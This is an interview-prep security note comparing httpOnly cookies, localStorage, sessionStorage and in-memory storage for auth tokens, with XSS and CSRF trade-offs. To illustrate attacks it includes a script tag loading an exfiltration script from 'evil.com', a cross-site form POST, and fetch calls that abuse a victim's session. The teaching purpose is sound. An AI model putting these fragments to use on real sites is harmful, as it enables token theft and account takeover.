frontend / security / 06_token_storage.md

Token Storage — JWT in localStorage vs httpOnly Cookie

7 min read source

Token Storage — JWT in localStorage vs httpOnly Cookie

TL;DR

The single most-asked frontend security question. Default to httpOnly cookies for session tokens — protects against XSS reading them, the browser handles attachment. Bearer tokens in localStorage are vulnerable to XSS (any script reads them), but CSRF-safe (not auto-attached). The “best of both worlds” is httpOnly cookies + CSRF protection. Don’t put refresh tokens or sensitive data in localStorage under any circumstances.

Interview Q&A

Q: The three places to store auth tokens.

A:

Storage Cross-tab? Persists across sessions? JS-readable (XSS risk)? Auto-attached to requests?
httpOnly cookie yes yes (per cookie expiry) no yes (same domain)
localStorage yes yes (forever until cleared) yes no (you attach via header)
sessionStorage per-tab until tab close yes no
In-memory (JS variable) no no (cleared on refresh) yes (but very short window for XSS to exploit) no

The senior trade-off:

  • httpOnly cookie: XSS-safe (token can’t be read), but CSRF-vulnerable (auto-attached).
  • localStorage / Bearer: CSRF-safe (you attach manually), but XSS-vulnerable.

You can’t have both wins from one storage. Compose.

Q: Why is localStorage XSS-vulnerable but cookies aren’t?

A: localStorage is accessible to any JS on the origin:

const token = localStorage.getItem("auth_token");   // works from any script

An XSS that runs <script src="//evil.com/exfil.js"> includes a script that reads localStorage and exfiltrates.

httpOnly cookies are not accessible to JS:

document.cookie;   // doesn't include httpOnly cookies

The browser sends them with requests but never reveals to JavaScript. XSS can use them via fetch(..., { credentials: "include" }) but can’t exfiltrate the token itself.

The distinction matters because:

  1. Exfiltration = attacker keeps the token, uses it forever from their server.
  2. Use in-place = attacker can act as the user while the XSS runs.

httpOnly cookies make the first impossible. The second is still bad but bounded.

Q: Why are httpOnly cookies CSRF-vulnerable but Bearer tokens aren’t?

A: Cookies are auto-attached by the browser on any request to the cookie’s domain. A <form action="https://api.yoursite.com/transfer"> POST from evil.com sends your cookies.

Bearer tokens require JS to set the header: fetch(..., { headers: { Authorization: "Bearer ..." } }). Cross-origin JS on evil.com doesn’t have your token (it’s in your origin’s storage, blocked by SOP).

So: cookies need CSRF mitigation (SameSite, tokens); bearer tokens don’t.

Q: The “best of both worlds” pattern.

A: httpOnly cookies + CSRF protection:

# Server, on login
Set-Cookie: session=<sessionId>; HttpOnly; Secure; SameSite=Lax; Path=/

# Server, on requests
# - Checks session cookie
# - For state-changing requests, requires CSRF token (double-submit or synchronizer)

Properties:

  • XSS can’t read the session → can’t exfiltrate.
  • SameSite=Lax blocks most CSRF.
  • Double-submit token blocks the rest (SameSite=None contexts, OAuth callbacks).

This is the default for most apps with conventional session-based auth.

Q: When do bearer tokens make sense?

A:

  • Cross-origin APIs — your SPA on app.com talks to API on api.com. Cookies cross-origin are awkward (SameSite=None + CORS preflight + credentials true). Bearer tokens cross-origin are clean.
  • Mobile apps — no browser, no cookies. Native code holds the token.
  • Server-to-server — cookies are browser-centric; service-to-service uses tokens.
  • OAuth Bearer access tokens — the protocol mandates Bearer.

For a SPA + same-origin (or first-party + subdomain) backend: cookies are the right default.

Q: If you must use localStorage — what’s the mitigation?

A: Acknowledge the trade-off, then minimize:

  • Use a short-lived access token + refresh token rotation.
  • Don’t store refresh tokens in localStorage. Refresh tokens should be httpOnly cookies that the SPA’s silent-refresh endpoint uses.
  • Hardened CSP to make XSS harder.
  • Trusted Types to block dangerous DOM sinks.
  • Subresource Integrity on every third-party script.

Even with all this, XSS still gets the access token. You’re betting that:

  • The XSS window is short (access token expires in minutes).
  • The attacker can’t easily get the refresh token (it’s httpOnly).

Some apps choose this trade-off because cookies don’t fit. Document the risk; ratchet CSP.

Q: Where exactly does the in-memory pattern work?

A: A short-lived access token in a JS variable (not localStorage):

let accessToken: string | null = null;

async function login() {
  const { token } = await fetch("/api/login", ...).then(r => r.json());
  accessToken = token;   // memory only
}

function apiCall(url: string) {
  return fetch(url, { headers: { Authorization: `Bearer ${accessToken}` } });
}

Pros vs localStorage:

  • Page refresh clears the token → forces re-auth or silent refresh.
  • XSS window is shorter — JS can read the variable, but only while the page is loaded.

Cons:

  • Page refresh loses the token unless you have a refresh-from-httpOnly-cookie flow.
  • Tab close loses it.

This is the “least bad” Bearer pattern when cookies aren’t an option. Pair with a refresh-token-in-httpOnly-cookie endpoint that the page hits on load to silently rehydrate the access token.

Q: Sessions vs JWTs — does it matter for storage?

A: Slightly:

  • Session cookies (opaque ID + server-side state) — the cookie value is meaningless without the server’s session table. Stolen → attacker can use the session until you revoke. Revocation is server-side, instant.
  • JWTs (signed token containing claims) — the token is the credential. Stolen → attacker has it until expiry. Revocation is hard — typically a server-side denylist or short-lived + refresh.

For storage, both can be httpOnly cookies. The revocation difference is why sessions are often safer for sensitive apps; JWTs are convenient for stateless APIs.

If using JWTs:

  • Short expiry (5-15 minutes).
  • Refresh tokens for long-lived sessions (httpOnly cookie).
  • A denylist (Redis) for revocation on logout / password change.

See ../../backend/11_authentication/jwt/.

Q: What about sessionStorage?

A: Same XSS vulnerability as localStorage; just shorter lifetime (per-tab, cleared on close). Doesn’t really mitigate.

Sometimes used for short-lived auth state in OAuth flows (“PKCE verifier”). Acceptable for a few seconds of life; not for tokens.

Q: SameSite + auth — picking strict vs lax.

A:

  • SameSite=Strict — never sent cross-site, including top-level navigation. Bug: user clicks an emailed link to your logged-in page, cookie not sent, page loads as logged out.
  • SameSite=Lax (default in browsers since 2020) — sent on top-level GET navigation (so emailed links work) but not cross-site POSTs/fetches/<img>. Sweet spot for most apps.

Use Strict only for high-sensitivity operations (admin actions, payment confirmations) where you want to require the user to re-enter the site from your domain.

Q: Auth bypass via XSS — the worst case.

A: Even with httpOnly cookies, XSS can:

  • fetch("/api/me", { credentials: "include" }) — the browser sends the cookies. The XSS reads the response (it’s same-origin). It learns the user’s data, profile, ID.
  • fetch("/api/transfer", { method: "POST", credentials: "include", body: ... }) — performs the transfer with the user’s session.

The XSS doesn’t have the token, but it doesn’t need to — it can use the session for as long as the page is open. The token-storage choice helps with exfiltration, not in-place abuse.

The full defense: eliminate XSS (escape on output, CSP, Trusted Types) — token storage is the last line.

Gotchas / edge cases

  • httpOnly with localStorage “fallback” — defeats the point. If your code reads the token from cookies via JS (somehow), it’s not really httpOnly.
  • Refresh tokens in JS-accessible storage are catastrophic — they get fresh access tokens forever. Always httpOnly.
  • Cookie max-age — long-lived cookies are session theft targets. Short-lived + refresh-on-use is safer.
  • Third-party cookies — Chrome’s deprecation of 3rd-party cookies affects auth in iframes, OAuth popups, embedded SaaS. Plan for the no-3rd-party-cookie future (Storage Access API, BFFs).
  • OAuth Implicit flow stored tokens in URL fragments → localStorage. Deprecated; use Authorization Code + PKCE.
  • Secure flag required on cookies in modern Chrome (and SameSite=None requires Secure). Local HTTP dev: use localhost (exempt) or local HTTPS.

What a senior is expected to say

  • “Default to httpOnly cookies for session tokens + SameSite=Lax + CSRF protection for cross-site contexts. XSS can’t read the token; CSRF is blocked by SameSite + token.”
  • “localStorage / Bearer tokens are CSRF-safe but XSS-vulnerable. XSS reads them and exfiltrates forever. Use only when cookies don’t fit (cross-origin APIs, mobile).”
  • “Refresh tokens NEVER in localStorage — always httpOnly cookies. Short-lived access tokens are tolerable in memory.”
  • “The ‘in-memory access token + httpOnly refresh cookie’ pattern is the best Bearer setup — XSS window is shorter than localStorage; refresh on page load via silent endpoint.”
  • “Token storage choice affects exfiltration risk. XSS that exists can still abuse the session in-place. Eliminating XSS is the real fix; storage is the last line.”
  • “JWTs are convenient but revocation is hard — server-side denylist or short expiry + refresh. Server sessions are simpler to revoke.”

Cross-references

Further reading